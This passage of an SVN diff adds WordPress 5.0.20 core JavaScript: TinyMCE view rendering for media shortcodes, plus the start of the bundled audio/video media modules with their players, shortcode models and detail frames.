+					dom.add( node, 'span', {
+						'data-mce-bogus': 1,
+						style: {
+							display: 'block',
+							width: '100%',
+							height: self.iframeHeight
+						}
+					}, '\u200B' );
+				}
+
+				editor.undoManager.transact( function() {
+					node.innerHTML = '';
+
+					iframe = dom.add( node, 'iframe', {
+						/* jshint scripturl: true */
+						src: tinymce.Env.ie ? 'javascript:""' : '',
+						frameBorder: '0',
+						allowTransparency: 'true',
+						scrolling: 'no',
+						'class': 'wpview-sandbox',
+						style: {
+							width: '100%',
+							display: 'block'
+						},
+						height: self.iframeHeight
+					} );
+
+					dom.add( node, 'span', { 'class': 'mce-shim' } );
+					dom.add( node, 'span', { 'class': 'wpview-end' } );
+				} );
+
+				// Bail if the iframe node is not attached to the DOM.
+				// Happens when the view is dragged in the editor.
+				// There is a browser restriction when iframes are moved in the DOM. They get emptied.
+				// The iframe will be rerendered after dropping the view node at the new location.
+				if ( ! iframe.contentWindow ) {
+					return;
+				}
+
+				iframeWin = iframe.contentWindow;
+				iframeDoc = iframeWin.document;
+				iframeDoc.open();
+
+				iframeDoc.write(
+					'<!DOCTYPE html>' +
+					'<html>' +
+						'<head>' +
+							'<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' +
+							head +
+							styles +
+							'<style>' +
+								'html {' +
+									'background: transparent;' +
+									'padding: 0;' +
+									'margin: 0;' +
+								'}' +
+								'body#wpview-iframe-sandbox {' +
+									'background: transparent;' +
+									'padding: 1px 0 !important;' +
+									'margin: -1px 0 0 !important;' +
+								'}' +
+								'body#wpview-iframe-sandbox:before,' +
+								'body#wpview-iframe-sandbox:after {' +
+									'display: none;' +
+									'content: "";' +
+								'}' +
+								'iframe {' +
+									'max-width: 100%;' +
+								'}' +
+							'</style>' +
+						'</head>' +
+						'<body id="wpview-iframe-sandbox" class="' + bodyClasses + '">' +
+							body +
+						'</body>' +
+					'</html>'
+				);
+
+				iframeDoc.close();
+
+				function resize() {
+					var $iframe;
+
+					if ( block ) {
+						return;
+					}
+
+					// Make sure the iframe still exists.
+					if ( iframe.contentWindow ) {
+						$iframe = $( iframe );
+						self.iframeHeight = $( iframeDoc.body ).height();
+
+						if ( $iframe.height() !== self.iframeHeight ) {
+							$iframe.height( self.iframeHeight );
+							editor.nodeChanged();
+						}
+					}
+				}
+
+				if ( self.iframeHeight ) {
+					block = true;
+
+					setTimeout( function() {
+						block = false;
+						resize();
+					}, 3000 );
+				}
+
+				function reload() {
+					if ( ! editor.isHidden() ) {
+						$( node ).data( 'rendered', null );
+
+						setTimeout( function() {
+							wp.mce.views.render();
+						} );
+					}
+				}
+
+				function addObserver() {
+					observer = new MutationObserver( _.debounce( resize, 100 ) );
+
+					observer.observe( iframeDoc.body, {
+						attributes: true,
+						childList: true,
+						subtree: true
+					} );
+				}
+
+				$( iframeWin ).on( 'load', resize ).on( 'unload', reload );
+
+				MutationObserver = iframeWin.MutationObserver || iframeWin.WebKitMutationObserver || iframeWin.MozMutationObserver;
+
+				if ( MutationObserver ) {
+					if ( ! iframeDoc.body ) {
+						iframeDoc.addEventListener( 'DOMContentLoaded', addObserver, false );
+					} else {
+						addObserver();
+					}
+				} else {
+					for ( i = 1; i < 6; i++ ) {
+						setTimeout( resize, i * 700 );
+					}
+				}
+
+				callback && callback.call( self, editor, node );
+			}, rendered );
+		},
+
+		/**
+		 * Sets a loader for all view nodes tied to this view instance.
+		 */
+		setLoader: function( dashicon ) {
+			this.setContent(
+				'<div class="loading-placeholder">' +
+					'<div class="dashicons dashicons-' + ( dashicon || 'admin-media' ) + '"></div>' +
+					'<div class="wpview-loading"><ins></ins></div>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Sets an error for all view nodes tied to this view instance.
+		 *
+		 * @param {String} message  The error message to set.
+		 * @param {String} dashicon A dashicon ID. Optional. {@link https://developer.wordpress.org/resource/dashicons/}
+		 */
+		setError: function( message, dashicon ) {
+			this.setContent(
+				'<div class="wpview-error">' +
+					'<div class="dashicons dashicons-' + ( dashicon || 'no' ) + '"></div>' +
+					'<p>' + message + '</p>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Tries to find a text match in a given string.
+		 *
+		 * @param {String} content The string to scan.
+		 *
+		 * @return {Object}
+		 */
+		match: function( content ) {
+			var match = shortcode.next( this.type, content );
+
+			if ( match ) {
+				return {
+					index: match.index,
+					content: match.content,
+					options: {
+						shortcode: match.shortcode
+					}
+				};
+			}
+		},
+
+		/**
+		 * Update the text of a given view node.
+		 *
+		 * @param {String}         text   The new text.
+		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
+		 * @param {HTMLElement}    node   The view node to update.
+		 * @param {Boolean}        force  Recreate the instance. Optional.
+		 */
+		update: function( text, editor, node, force ) {
+			_.find( views, function( view, type ) {
+				var match = view.prototype.match( text );
+
+				if ( match ) {
+					$( node ).data( 'rendered', false );
+					editor.dom.setAttrib( node, 'data-wpview-text', encodeURIComponent( text ) );
+					wp.mce.views.createInstance( type, text, match.options, force ).render();
+
+					editor.selection.select( node );
+					editor.nodeChanged();
+					editor.focus();
+
+					return true;
+				}
+			} );
+		},
+
+		/**
+		 * Remove a given view node from the DOM.
+		 *
+		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
+		 * @param {HTMLElement}    node   The view node to remove.
+		 */
+		remove: function( editor, node ) {
+			this.unbindNode.call( this, editor, node );
+			editor.dom.remove( node );
+			editor.focus();
+		}
+	} );
+} )( window, window.wp, window.wp.shortcode, window.jQuery );
+
+/*
+ * The WordPress core TinyMCE views.
+ * Views for the gallery, audio, video, playlist and embed shortcodes,
+ * and a view for embeddable URLs.
+ */
+( function( window, views, media, $ ) {
+	var base, gallery, av, embed,
+		schema, parser, serializer;
+
+	function verifyHTML( string ) {
+		var settings = {};
+
+		if ( ! window.tinymce ) {
+			return string.replace( /<[^>]+>/g, '' );
+		}
+
+		if ( ! string || ( string.indexOf( '<' ) === -1 && string.indexOf( '>' ) === -1 ) ) {
+			return string;
+		}
+
+		schema = schema || new window.tinymce.html.Schema( settings );
+		parser = parser || new window.tinymce.html.DomParser( settings, schema );
+		serializer = serializer || new window.tinymce.html.Serializer( settings, schema );
+
+		return serializer.serialize( parser.parse( string, { forced_root_block: false } ) );
+	}
+
+	base = {
+		state: [],
+
+		edit: function( text, update ) {
+			var type = this.type,
+				frame = media[ type ].edit( text );
+
+			this.pausePlayers && this.pausePlayers();
+
+			_.each( this.state, function( state ) {
+				frame.state( state ).on( 'update', function( selection ) {
+					update( media[ type ].shortcode( selection ).string(), type === 'gallery' );
+				} );
+			} );
+
+			frame.on( 'close', function() {
+				frame.detach();
+			} );
+
+			frame.open();
+		}
+	};
+
+	gallery = _.extend( {}, base, {
+		state: [ 'gallery-edit' ],
+		template: media.template( 'editor-gallery' ),
+
+		initialize: function() {
+			var attachments = media.gallery.attachments( this.shortcode, media.view.settings.post.id ),
+				attrs = this.shortcode.attrs.named,
+				self = this;
+
+			attachments.more()
+			.done( function() {
+				attachments = attachments.toJSON();
+
+				_.each( attachments, function( attachment ) {
+					if ( attachment.sizes ) {
+						if ( attrs.size && attachment.sizes[ attrs.size ] ) {
+							attachment.thumbnail = attachment.sizes[ attrs.size ];
+						} else if ( attachment.sizes.thumbnail ) {
+							attachment.thumbnail = attachment.sizes.thumbnail;
+						} else if ( attachment.sizes.full ) {
+							attachment.thumbnail = attachment.sizes.full;
+						}
+					}
+				} );
+
+				self.render( self.template( {
+					verifyHTML: verifyHTML,
+					attachments: attachments,
+					columns: attrs.columns ? parseInt( attrs.columns, 10 ) : media.galleryDefaults.columns
+				} ) );
+			} )
+			.fail( function( jqXHR, textStatus ) {
+				self.setError( textStatus );
+			} );
+		}
+	} );
+
+	av = _.extend( {}, base, {
+		action: 'parse-media-shortcode',
+
+		initialize: function() {
+			var self = this, maxwidth = null;
+
+			if ( this.url ) {
+				this.loader = false;
+				this.shortcode = media.embed.shortcode( {
+					url: this.text
+				} );
+			}
+
+			// Obtain the target width for the embed.
+			if ( self.editor ) {
+				maxwidth = self.editor.getBody().clientWidth;
+			}
+
+			wp.ajax.post( this.action, {
+				post_ID: media.view.settings.post.id,
+				type: this.shortcode.tag,
+				shortcode: this.shortcode.string(),
+				maxwidth: maxwidth
+			} )
+			.done( function( response ) {
+				self.render( response );
+			} )
+			.fail( function( response ) {
+				if ( self.url ) {
+					self.ignore = true;
+					self.removeMarkers();
+				} else {
+					self.setError( response.message || response.statusText, 'admin-media' );
+				}
+			} );
+
+			this.getEditors( function( editor ) {
+				editor.on( 'wpview-selected', function() {
+					self.pausePlayers();
+				} );
+			} );
+		},
+
+		pausePlayers: function() {
+			this.getNodes( function( editor, node, content ) {
+				var win = $( 'iframe.wpview-sandbox', content ).get( 0 );
+
+				if ( win && ( win = win.contentWindow ) && win.mejs ) {
+					_.each( win.mejs.players, function( player ) {
+						try {
+							player.pause();
+						} catch ( e ) {}
+					} );
+				}
+			} );
+		}
+	} );
+
+	embed = _.extend( {}, av, {
+		action: 'parse-embed',
+
+		edit: function( text, update ) {
+			var frame = media.embed.edit( text, this.url ),
+				self = this;
+
+			this.pausePlayers();
+
+			frame.state( 'embed' ).props.on( 'change:url', function( model, url ) {
+				if ( url && model.get( 'url' ) ) {
+					frame.state( 'embed' ).metadata = model.toJSON();
+				}
+			} );
+
+			frame.state( 'embed' ).on( 'select', function() {
+				var data = frame.state( 'embed' ).metadata;
+
+				if ( self.url ) {
+					update( data.url );
+				} else {
+					update( media.embed.shortcode( data ).string() );
+				}
+			} );
+
+			frame.on( 'close', function() {
+				frame.detach();
+			} );
+
+			frame.open();
+		}
+	} );
+
+	views.register( 'gallery', _.extend( {}, gallery ) );
+
+	views.register( 'audio', _.extend( {}, av, {
+		state: [ 'audio-details' ]
+	} ) );
+
+	views.register( 'video', _.extend( {}, av, {
+		state: [ 'video-details' ]
+	} ) );
+
+	views.register( 'playlist', _.extend( {}, av, {
+		state: [ 'playlist-edit', 'video-playlist-edit' ]
+	} ) );
+
+	views.register( 'embed', _.extend( {}, embed ) );
+
+	views.register( 'embedURL', _.extend( {}, embed, {
+		match: function( content ) {
+			var re = /(^|<p>)(https?:\/\/[^\s"]+?)(<\/p>\s*|$)/gi,
+				match = re.exec( content );
+
+			if ( match ) {
+				return {
+					index: match.index + match[1].length,
+					content: match[2],
+					options: {
+						url: true
+					}
+				};
+			}
+		}
+	} ) );
+} )( window, window.wp.mce.views, window.wp.media, window.jQuery );
Index: /tags/5.0.20/src/wp-includes/js/media-audiovideo.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media-audiovideo.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media-audiovideo.js	(revision 56912)
@@ -0,0 +1,1126 @@
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+/******/ 			return installedModules[moduleId].exports;
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+/************************************************************************/
+/******/ ([
+/* 0 */
+/***/ (function(module, exports, __webpack_require__) {
+
+var media = wp.media,
+	baseSettings = window._wpmejsSettings || {},
+	l10n = window._wpMediaViewsL10n || {};
+
+/**
+ *
+ * @summary Defines the wp.media.mixin object.
+ *
+ * @mixin
+ *
+ * @since 4.2.0
+ */
+wp.media.mixin = {
+	mejsSettings: baseSettings,
+
+	/**
+	 * @summary Pauses and removes all players.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @return {void}
+	 */
+	removeAllPlayers: function() {
+		var p;
+
+		if ( window.mejs && window.mejs.players ) {
+			for ( p in window.mejs.players ) {
+				window.mejs.players[p].pause();
+				this.removePlayer( window.mejs.players[p] );
+			}
+		}
+	},
+
+	/**
+	 * @summary Removes the player.
+	 *
+	 * Override the MediaElement method for removing a player.
+	 * MediaElement tries to pull the audio/video tag out of
+	 * its container and re-add it to the DOM.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @return {void}
+	 */
+	removePlayer: function(t) {
+		var featureIndex, feature;
+
+		if ( ! t.options ) {
+			return;
+		}
+
+		// invoke features cleanup
+		for ( featureIndex in t.options.features ) {
+			feature = t.options.features[featureIndex];
+			if ( t['clean' + feature] ) {
+				try {
+					t['clean' + feature](t);
+				} catch (e) {}
+			}
+		}
+
+		if ( ! t.isDynamic ) {
+			t.node.remove();
+		}
+
+		if ( 'html5' !== t.media.rendererName ) {
+			t.media.remove();
+		}
+
+		delete window.mejs.players[t.id];
+
+		t.container.remove();
+		t.globalUnbind('resize', t.globalResizeCallback);
+		t.globalUnbind('keydown', t.globalKeydownCallback);
+		t.globalUnbind('click', t.globalClickCallback);
+		delete t.media.player;
+	},
+
+	/**
+	 *
+	 * @summary Removes and resets all players.
+	 *
+	 * Allows any class that has set 'player' to a MediaElementPlayer
+	 * instance to remove the player when listening to events.
+	 *
+	 * Examples: modal closes, shortcode properties are removed, etc.
+	 *
+	 * @since 4.2.0
+	 */
+	unsetPlayers : function() {
+		if ( this.players && this.players.length ) {
+			_.each( this.players, function (player) {
+				player.pause();
+				wp.media.mixin.removePlayer( player );
+			} );
+			this.players = [];
+		}
+	}
+};
+
+/**
+ * @summary Shortcode modeling for playlists.
+ *
+ * @since 4.2.0
+ */
+wp.media.playlist = new wp.media.collection({
+	tag: 'playlist',
+	editTitle : l10n.editPlaylistTitle,
+	defaults : {
+		id: wp.media.view.settings.post.id,
+		style: 'light',
+		tracklist: true,
+		tracknumbers: true,
+		images: true,
+		artists: true,
+		type: 'audio'
+	}
+});
+
+/**
+ * @summary Shortcode modeling for audio.
+ *
+ * `edit()` prepares the shortcode for the media modal.
+ * `shortcode()` builds the new shortcode after an update.
+ *
+ * @namespace
+ *
+ * @since 4.2.0
+ */
+wp.media.audio = {
+	coerce : wp.media.coerce,
+
+	defaults : {
+		id : wp.media.view.settings.post.id,
+		src : '',
+		loop : false,
+		autoplay : false,
+		preload : 'none',
+		width : 400
+	},
+
+	/**
+	 * @summary Instantiates a new media object with the next matching shortcode.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {string} data The text to apply the shortcode on.
+	 * @returns {wp.media} The media object.
+	 */
+	edit : function( data ) {
+		var frame, shortcode = wp.shortcode.next( 'audio', data ).shortcode;
+
+		frame = wp.media({
+			frame: 'audio',
+			state: 'audio-details',
+			metadata: _.defaults( shortcode.attrs.named, this.defaults )
+		});
+
+		return frame;
+	},
+
+	/**
+	 * @summary Generates an audio shortcode.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {Array} model Array with attributes for the shortcode.
+	 * @returns {wp.shortcode} The audio shortcode object.
+	 */
+	shortcode : function( model ) {
+		var content;
+
+		_.each( this.defaults, function( value, key ) {
+			model[ key ] = this.coerce( model, key );
+
+			if ( value === model[ key ] ) {
+				delete model[ key ];
+			}
+		}, this );
+
+		content = model.content;
+		delete model.content;
+
+		return new wp.shortcode({
+			tag: 'audio',
+			attrs: model,
+			content: content
+		});
+	}
+};
+
+/**
+ * @summary Shortcode modeling for video.
+ *
+ *  `edit()` prepares the shortcode for the media modal.
+ *  `shortcode()` builds the new shortcode after update.
+ *
+ * @since 4.2.0
+ *
+ * @namespace
+ */
+wp.media.video = {
+	coerce : wp.media.coerce,
+
+	defaults : {
+		id : wp.media.view.settings.post.id,
+		src : '',
+		poster : '',
+		loop : false,
+		autoplay : false,
+		preload : 'metadata',
+		content : '',
+		width : 640,
+		height : 360
+	},
+
+	/**
+	 * @summary Instantiates a new media object with the next matching shortcode.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {string} data The text to apply the shortcode on.
+	 * @returns {wp.media} The media object.
+	 */
+	edit : function( data ) {
+		var frame,
+			shortcode = wp.shortcode.next( 'video', data ).shortcode,
+			attrs;
+
+		attrs = shortcode.attrs.named;
+		attrs.content = shortcode.content;
+
+		frame = wp.media({
+			frame: 'video',
+			state: 'video-details',
+			metadata: _.defaults( attrs, this.defaults )
+		});
+
+		return frame;
+	},
+
+	/**
+	 * @summary Generates an video shortcode.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param {Array} model Array with attributes for the shortcode.
+	 * @returns {wp.shortcode} The video shortcode object.
+	 */
+	shortcode : function( model ) {
+		var content;
+
+		_.each( this.defaults, function( value, key ) {
+			model[ key ] = this.coerce( model, key );
+
+			if ( value === model[ key ] ) {
+				delete model[ key ];
+			}
+		}, this );
+
+		content = model.content;
+		delete model.content;
+
+		return new wp.shortcode({
+			tag: 'video',
+			attrs: model,
+			content: content
+		});
+	}
+};
+
+media.model.PostMedia = __webpack_require__( 1 );
+media.controller.AudioDetails = __webpack_require__( 2 );
+media.controller.VideoDetails = __webpack_require__( 3 );
+media.view.MediaFrame.MediaDetails = __webpack_require__( 4 );
+media.view.MediaFrame.AudioDetails = __webpack_require__( 5 );
+media.view.MediaFrame.VideoDetails = __webpack_require__( 6 );
+media.view.MediaDetails = __webpack_require__( 7 );
+media.view.AudioDetails = __webpack_require__( 8 );
+media.view.VideoDetails = __webpack_require__( 9 );
+
+
+/***/ }),
+/* 1 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.model.PostMedia
+ *
+ * Shared model class for audio and video. Updates the model after
+ *   "Add Audio|Video Source" and "Replace Audio|Video" states return
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments Backbone.Model
+ */
+var PostMedia = Backbone.Model.extend(/** @lends wp.media.model.PostMedia.prototype */{
+	initialize: function() {
+		this.attachment = false;
+	},
+
+	setSource: function( attachment ) {
+		this.attachment = attachment;
+		this.extension = attachment.get( 'filename' ).split('.').pop();
+
+		if ( this.get( 'src' ) && this.extension === this.get( 'src' ).split('.').pop() ) {
+			this.unset( 'src' );
+		}
+
+		if ( _.contains( wp.media.view.settings.embedExts, this.extension ) ) {
+			this.set( this.extension, this.attachment.get( 'url' ) );
+		} else {
+			this.unset( this.extension );
+		}
+	},
+
+	changeAttachment: function( attachment ) {
+		this.setSource( attachment );
+
+		this.unset( 'src' );
+		_.each( _.without( wp.media.view.settings.embedExts, this.extension ), function( ext ) {
+			this.unset( ext );
+		}, this );
+	}
+});
+
+module.exports = PostMedia;
+
+
+/***/ }),
+/* 2 */
+/***/ (function(module, exports) {
+
+var State = wp.media.controller.State,
+	l10n = wp.media.view.l10n,
+	AudioDetails;
+
+/**
+ * wp.media.controller.AudioDetails
+ *
+ * The controller for the Audio Details state
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+AudioDetails = State.extend(/** @lends wp.media.controller.AudioDetails.prototype */{
+	defaults: {
+		id: 'audio-details',
+		toolbar: 'audio-details',
+		title: l10n.audioDetailsTitle,
+		content: 'audio-details',
+		menu: 'audio-details',
+		router: false,
+		priority: 60
+	},
+
+	initialize: function( options ) {
+		this.media = options.media;
+		State.prototype.initialize.apply( this, arguments );
+	}
+});
+
+module.exports = AudioDetails;
+
+
+/***/ }),
+/* 3 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.controller.VideoDetails
+ *
+ * The controller for the Video Details state
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+var State = wp.media.controller.State,
+	l10n = wp.media.view.l10n,
+	VideoDetails;
+
+VideoDetails = State.extend(/** @lends wp.media.controller.VideoDetails.prototype */{
+	defaults: {
+		id: 'video-details',
+		toolbar: 'video-details',
+		title: l10n.videoDetailsTitle,
+		content: 'video-details',
+		menu: 'video-details',
+		router: false,
+		priority: 60
+	},
+
+	initialize: function( options ) {
+		this.media = options.media;
+		State.prototype.initialize.apply( this, arguments );
+	}
+});
+
+module.exports = VideoDetails;
+
+
+/***/ }),
+/* 4 */
+/***/ (function(module, exports) {
+
+var Select = wp.media.view.MediaFrame.Select,
+	l10n = wp.media.view.l10n,
+	MediaDetails;
+
+/**
+ * wp.media.view.MediaFrame.MediaDetails
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+MediaDetails = Select.extend(/** @lends wp.media.view.MediaFrame.MediaDetails.prototype */{
+	defaults: {
+		id:      'media',
+		url:     '',
+		menu:    'media-details',
+		content: 'media-details',
+		toolbar: 'media-details',
+		type:    'link',
+		priority: 120
+	},
+
+	initialize: function( options ) {
+		this.DetailsView = options.DetailsView;
+		this.cancelText = options.cancelText;
+		this.addText = options.addText;
+
+		this.media = new wp.media.model.PostMedia( options.metadata );
+		this.options.selection = new wp.media.model.Selection( this.media.attachment, { multiple: false } );
+		Select.prototype.initialize.apply( this, arguments );
+	},
+
+	bindHandlers: function() {
+		var menu = this.defaults.menu;
+
+		Select.prototype.bindHandlers.apply( this, arguments );
+
+		this.on( 'menu:create:' + menu, this.createMenu, this );
+		this.on( 'content:render:' + menu, this.renderDetailsContent, this );
+		this.on( 'menu:render:' + menu, this.renderMenu, this );
+		this.on( 'toolbar:render:' + menu, this.renderDetailsToolbar, this );
+	},
+
+	renderDetailsContent: function() {
+		var view = new this.DetailsView({
+			controller: this,
+			model: this.state().media,
+			attachment: this.state().media.attachment
+		}).render();
+
+		this.content.set( view );
+	},
+
+	renderMenu: function( view ) {
+		var lastState = this.lastState(),
+			previous = lastState && lastState.id,
+			frame = this;
+
+		view.set({
+			cancel: {
+				text:     this.cancelText,
+				priority: 20,
+				click:    function() {
+					if ( previous ) {
+						frame.setState( previous );
+					} else {
+						frame.close();
+					}
+				}
+			},
+			separateCancel: new wp.media.View({
+				className: 'separator',
+				priority: 40
+			})
+		});
+
+	},
+
+	setPrimaryButton: function(text, handler) {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				button: {
+					style:    'primary',
+					text:     text,
+					priority: 80,
+					click:    function() {
+						var controller = this.controller;
+						handler.call( this, controller, controller.state() );
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	renderDetailsToolbar: function() {
+		this.setPrimaryButton( l10n.update, function( controller, state ) {
+			controller.close();
+			state.trigger( 'update', controller.media.toJSON() );
+		} );
+	},
+
+	renderReplaceToolbar: function() {
+		this.setPrimaryButton( l10n.replace, function( controller, state ) {
+			var attachment = state.get( 'selection' ).single();
+			controller.media.changeAttachment( attachment );
+			state.trigger( 'replace', controller.media.toJSON() );
+		} );
+	},
+
+	renderAddSourceToolbar: function() {
+		this.setPrimaryButton( this.addText, function( controller, state ) {
+			var attachment = state.get( 'selection' ).single();
+			controller.media.setSource( attachment );
+			state.trigger( 'add-source', controller.media.toJSON() );
+		} );
+	}
+});
+
+module.exports = MediaDetails;
+
+
+/***/ }),
+/* 5 */
+/***/ (function(module, exports) {
+
+var MediaDetails = wp.media.view.MediaFrame.MediaDetails,
+	MediaLibrary = wp.media.controller.MediaLibrary,
+
+	l10n = wp.media.view.l10n,
+	AudioDetails;
+
+/**
+ * wp.media.view.MediaFrame.AudioDetails
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.MediaDetails
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+AudioDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.AudioDetails.prototype */{
+	defaults: {
+		id:      'audio',
+		url:     '',
+		menu:    'audio-details',
+		content: 'audio-details',
+		toolbar: 'audio-details',
+		type:    'link',
+		title:    l10n.audioDetailsTitle,
+		priority: 120
+	},
+
+	initialize: function( options ) {
+		options.DetailsView = wp.media.view.AudioDetails;
+		options.cancelText = l10n.audioDetailsCancel;
+		options.addText = l10n.audioAddSourceTitle;
+
+		MediaDetails.prototype.initialize.call( this, options );
+	},
+
+	bindHandlers: function() {
+		MediaDetails.prototype.bindHandlers.apply( this, arguments );
+
+		this.on( 'toolbar:render:replace-audio', this.renderReplaceToolbar, this );
+		this.on( 'toolbar:render:add-audio-source', this.renderAddSourceToolbar, this );
+	},
+
+	createStates: function() {
+		this.states.add([
+			new wp.media.controller.AudioDetails( {
+				media: this.media
+			} ),
+
+			new MediaLibrary( {
+				type: 'audio',
+				id: 'replace-audio',
+				title: l10n.audioReplaceTitle,
+				toolbar: 'replace-audio',
+				media: this.media,
+				menu: 'audio-details'
+			} ),
+
+			new MediaLibrary( {
+				type: 'audio',
+				id: 'add-audio-source',
+				title: l10n.audioAddSourceTitle,
+				toolbar: 'add-audio-source',
+				media: this.media,
+				menu: false
+			} )
+		]);
+	}
+});
+
+module.exports = AudioDetails;
+
+
+/***/ }),
+/* 6 */
+/***/ (function(module, exports) {
+
+var MediaDetails = wp.media.view.MediaFrame.MediaDetails,
+	MediaLibrary = wp.media.controller.MediaLibrary,
+	l10n = wp.media.view.l10n,
+	VideoDetails;
+
+/**
+ * wp.media.view.MediaFrame.VideoDetails
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.MediaDetails
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+VideoDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.VideoDetails.prototype */{
+	defaults: {
+		id:      'video',
+		url:     '',
+		menu:    'video-details',
+		content: 'video-details',
+		toolbar: 'video-details',
+		type:    'link',
+		title:    l10n.videoDetailsTitle,
+		priority: 120
+	},
+
+	initialize: function( options ) {
+		options.DetailsView = wp.media.view.VideoDetails;
+		options.cancelText = l10n.videoDetailsCancel;
+		options.addText = l10n.videoAddSourceTitle;
+
+		MediaDetails.prototype.initialize.call( this, options );
+	},
+
+	bindHandlers: function() {
+		MediaDetails.prototype.bindHandlers.apply( this, arguments );
+
+		this.on( 'toolbar:render:replace-video', this.renderReplaceToolbar, this );
+		this.on( 'toolbar:render:add-video-source', this.renderAddSourceToolbar, this );
+		this.on( 'toolbar:render:select-poster-image', this.renderSelectPosterImageToolbar, this );
+		this.on( 'toolbar:render:add-track', this.renderAddTrackToolbar, this );
+	},
+
+	createStates: function() {
+		this.states.add([
+			new wp.media.controller.VideoDetails({
+				media: this.media
+			}),
+
+			new MediaLibrary( {
+				type: 'video',
+				id: 'replace-video',
+				title: l10n.videoReplaceTitle,
+				toolbar: 'replace-video',
+				media: this.media,
+				menu: 'video-details'
+			} ),
+
+			new MediaLibrary( {
+				type: 'video',
+				id: 'add-video-source',
+				title: l10n.videoAddSourceTitle,
+				toolbar: 'add-video-source',
+				media: this.media,
+				menu: false
+			} ),
+
+			new MediaLibrary( {
+				type: 'image',
+				id: 'select-poster-image',
+				title: l10n.videoSelectPosterImageTitle,
+				toolbar: 'select-poster-image',
+				media: this.media,
+				menu: 'video-details'
+			} ),
+
+			new MediaLibrary( {
+				type: 'text',
+				id: 'add-track',
+				title: l10n.videoAddTrackTitle,
+				toolbar: 'add-track',
+				media: this.media,
+				menu: 'video-details'
+			} )
+		]);
+	},
+
+	renderSelectPosterImageToolbar: function() {
+		this.setPrimaryButton( l10n.videoSelectPosterImageTitle, function( controller, state ) {
+			var urls = [], attachment = state.get( 'selection' ).single();
+
+			controller.media.set( 'poster', attachment.get( 'url' ) );
+			state.trigger( 'set-poster-image', controller.media.toJSON() );
+
+			_.each( wp.media.view.settings.embedExts, function (ext) {
+				if ( controller.media.get( ext ) ) {
+					urls.push( controller.media.get( ext ) );
+				}
+			} );
+
+			wp.ajax.send( 'set-attachment-thumbnail', {
+				data : {
+					urls: urls,
+					thumbnail_id: attachment.get( 'id' )
+				}
+			} );
+		} );
+	},
+
+	renderAddTrackToolbar: function() {
+		this.setPrimaryButton( l10n.videoAddTrackTitle, function( controller, state ) {
+			var attachment = state.get( 'selection' ).single(),
+				content = controller.media.get( 'content' );
+
+			if ( -1 === content.indexOf( attachment.get( 'url' ) ) ) {
+				content += [
+					'<track srclang="en" label="English" kind="subtitles" src="',
+					attachment.get( 'url' ),
+					'" />'
+				].join('');
+
+				controller.media.set( 'content', content );
+			}
+			state.trigger( 'add-track', controller.media.toJSON() );
+		} );
+	}
+});
+
+module.exports = VideoDetails;
+
+
+/***/ }),
+/* 7 */
+/***/ (function(module, exports) {
+
+/* global MediaElementPlayer */
+var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
+	$ = jQuery,
+	MediaDetails;
+
+/**
+ * wp.media.view.MediaDetails
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+MediaDetails = AttachmentDisplay.extend(/** @lends wp.media.view.MediaDetails.prototype */{
+	initialize: function() {
+		_.bindAll(this, 'success');
+		this.players = [];
+		this.listenTo( this.controller, 'close', wp.media.mixin.unsetPlayers );
+		this.on( 'ready', this.setPlayer );
+		this.on( 'media:setting:remove', wp.media.mixin.unsetPlayers, this );
+		this.on( 'media:setting:remove', this.render );
+		this.on( 'media:setting:remove', this.setPlayer );
+
+		AttachmentDisplay.prototype.initialize.apply( this, arguments );
+	},
+
+	events: function(){
+		return _.extend( {
+			'click .remove-setting' : 'removeSetting',
+			'change .content-track' : 'setTracks',
+			'click .remove-track' : 'setTracks',
+			'click .add-media-source' : 'addSource'
+		}, AttachmentDisplay.prototype.events );
+	},
+
+	prepare: function() {
+		return _.defaults({
+			model: this.model.toJSON()
+		}, this.options );
+	},
+
+	/**
+	 * Remove a setting's UI when the model unsets it
+	 *
